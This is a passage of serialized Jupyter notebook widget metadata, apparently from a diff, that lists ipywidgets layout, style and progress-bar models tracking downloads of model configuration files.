"bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2dc8bda3ec0046b09c6422b5248f1312": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2ddf4013353e48b9a62c70e2eb68502e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2fb28ad0fe464c7a8b1f3c9354140e51": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4e3eebfc758c467fbf44e81c0de7068d", + "placeholder": "​", + "style": "IPY_MODEL_f0c88afdf3ac4ca3b63be6f561bbf5f0", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + "305d426ec46a4d14876f9d988fa7cb5c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6b403cea94ae4e2887302d164e991cf8", + "IPY_MODEL_c59286b70fe74bbea779bbfae03e1a87", + "IPY_MODEL_d138d9f2076c493da68ff7edb0bc36c7" + ], + "layout": "IPY_MODEL_04ec14e8bc8f4ad5827e351c01e5a1ee" + } + }, + "30e99a47aedb446ab999975c08fd96e3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "330eb2500161464db0d797d2f04e550f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8e7b4587729f4fe597e2342b9e8c5b06", + "IPY_MODEL_c4d2925dd1dd40bab2b22f09bf9497e6", + "IPY_MODEL_55470891a5ad41f2b04d3d5c86c1c934" + ], + "layout": "IPY_MODEL_0afcffbca4c1462ba2bc1d3cd1aa2c13" + } + }, + "3467d3ba1eeb44c69149cdbc55469f39": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3593ebaab56e4bca9706c5775ae87b75": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_dc8d5cf759be4ab08d801e1d4758b34a", + "IPY_MODEL_ef3472cacb4d426cbacec25777507432", + "IPY_MODEL_d5a6cb28917b48d4910903e016319aec" + ], + "layout": "IPY_MODEL_ba1422edddc447b78ba7fbf4ba11e364" + } + }, + "36cb537e89324f54b767df1e24045108": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3808c4765a054dd0a2771050871177a4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "39a24d7b46f2428597c345b1d0ac8680": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "39e7952fd2c34271a44ca997250a313c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3b7d6992813e4a32aa5c6d959ac24b27": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3b9b27b4550c453f82f000c03d1209a7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c4783205744246c99a52bb6bb8df3d7d", + "max": 806, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7d941358dd1b4298bf1bf803b625f764", + "value": 806 + } + }, + "3bcb60cbd7ab48e2884460a1e539bd12": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3bfe8491fdc84726a9a2ea2a9eb33884": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7be8f4522cdc41f08c69b4a36520eb5a", + "placeholder": "​", + "style": "IPY_MODEL_ebfab18cc7484b71bb252d4e242e3b40", + "value": " 30/30 [00:07<00:00, 3.81it/s]" + } + }, + "3bffddd95fdf4e3c896e1554a239273a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3c3af60f4f07476c8700910b4259a066": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3d4c455dc8344c7b8b42a609322713e8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3eccfb04c05445f8a45a56afd74f7e41": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_afea13c7ba3a44eeab58c5069f677a61", + "IPY_MODEL_0b695e5be5184a43a9f26b21f69a4338", + "IPY_MODEL_b6e068b2f21844dc9c184ec49af6b48f" + ], + "layout": "IPY_MODEL_dc22f7fca8eb4d258406b3b53af177cc" + } + }, + "3f197b982242418bb24f4156db991c19": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_56310a7fb0804b43a60815c858d910c5", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a401d37863744fd58fe863b27d6a562b", + "value": 20 + } + }, + "3f2fee0c35144daf8234caf57ad3907e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "405d6f07be5743be8ea10f7e2d4ee73d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3b7d6992813e4a32aa5c6d959ac24b27", + "placeholder": "​", + "style": "IPY_MODEL_78684c2b2b05406ba992fe197c947bcc", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "40ea712393314cfe9452f6b14bfd58e6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "422cdb3a6aed4177aba5f6e9ac77e1bf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "42f14a72c44047b695a6b2bfc5184370": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "43ac63628b35419cb9db5d234951e84f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "440bb669cff048cea2363b50d28521ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "44638b1824bc48de85029440f2f4a612": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bb3842e44e0a49f2bec66a0bbb971348", + "max": 616, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_30e99a47aedb446ab999975c08fd96e3", + "value": 616 + } + }, + "48b23ac8e7ce46239504712135b41444": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "48d6f53c34b84be4a219cc30ac539aeb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "48e9b5493b8f4191b9707df7c83b0f50": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "48faccb381254cd99a649c239a419649": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4afa3f9ee15546c1979113f0e618efcf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4b313724533349be92ef5cb53c1388cd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "4b39f1322aca40da82220ddcfa0c3975": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4b63548f0285403e9e4f2431632cc3ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0a2014cc648840249d57eb9c569e9fa1", + "max": 617, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3467d3ba1eeb44c69149cdbc55469f39", + "value": 617 + } + }, + "4cbd69647642484f9058b10156001882": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cce1c917ad4a4b2c93369e249cd1c13c", + "placeholder": "​", + "style": "IPY_MODEL_ff7172bc118f4f22bc1acbe531787b42", + "value": " 472/472 [00:00<00:00, 10.6kB/s]" + } + }, + "4d91d312e2ff43509652ce52d7d999d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4dc4d2c609eb40eaa6df50be567b2c61": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4dc511c396c5492c8d707ba52783edcb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4e3739037f2b44d2bd1ecaa20b29d70c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, 